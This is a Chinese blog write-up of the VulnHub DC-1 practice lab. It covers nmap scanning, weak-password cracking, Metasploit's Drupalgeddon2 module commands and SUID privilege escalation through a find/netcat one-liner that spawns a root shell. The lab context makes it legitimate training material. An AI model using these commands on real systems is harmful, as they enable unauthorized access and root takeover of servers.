VulnHub之dc1靶场（3）

最新推荐文章于 2025-10-28 15:29:24 发布

原创最新推荐文章于 2025-10-28 15:29:24 发布 · 271 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#linux #python #shell

渗透测试专栏收录该内容

29 篇文章

订阅专栏

本文分享了如何通过Nmap扫描、弱口令爆破、漏洞复现，利用Drupal远程代码执行漏洞，最终实现SUID提权并获取反弹shell的过程，涉及技术包括Apache、PHP、Drupal和Metasploit。

靶场信息：

地址：https://www.vulnhub.com/entry/dc-1-1,292/
难度：简单
目标：有五个标志，但是最终目标是在根目录的主目录中找到并读取该标志
运行：vm work

信息收集

nmap直接扫描网段存活主机
在这里插入图片描述
扫描常见端口

nmap  10.7.10.29  
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-19 04:14 EST
Nmap scan report for 10.7.10.29
Host is up (0.0021s latency).
Not shown: 995 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
111/tcp open  rpcbind

Nmap done: 1 IP address (1 host up) scanned in 17.50 seconds

爆破弱口令，访问网页,扫描目录
在这里插入图片描述
收集指纹：

中间件：apache 2.2.22
语言：php 5.4.45
cms：drupal 7

漏洞复现

信息泄露

http://10.7.10.29/robots.txt 在这里插入图片描述

远程代码执行漏洞

search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhosts 10.7.10.29
run

我msf老是返回这个，呜呜呜
在这里插入图片描述

弱口令

回去查看爆破内容
在这里插入图片描述
直接登陆ssh
登陆成功，但是/root目录没有权限

suid提权

尝试找到具有root权限的suid
在这里插入图片描述
发现为root可以利用

执行成功

首先执行find flag4.txt -exec nc -lvp 9999 -e /bin/sh \;
反弹shell到我的linux上

反弹成功，跳到root目录下
参考文章：
https://blog.youkuaiyun.com/adminuil/article/details/101269264
https://blog.youkuaiyun.com/weixin_40860777/article/details/105118966